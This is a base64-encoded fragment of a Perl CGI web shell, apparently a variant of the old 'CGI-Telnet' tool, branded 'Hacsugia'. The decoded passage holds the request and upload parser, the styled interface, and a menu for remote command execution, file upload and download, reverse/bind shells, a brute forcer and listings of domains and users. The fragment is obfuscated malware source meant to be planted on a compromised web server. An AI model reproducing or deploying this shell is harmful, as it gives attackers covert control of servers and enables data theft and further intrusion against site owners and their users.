JIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIg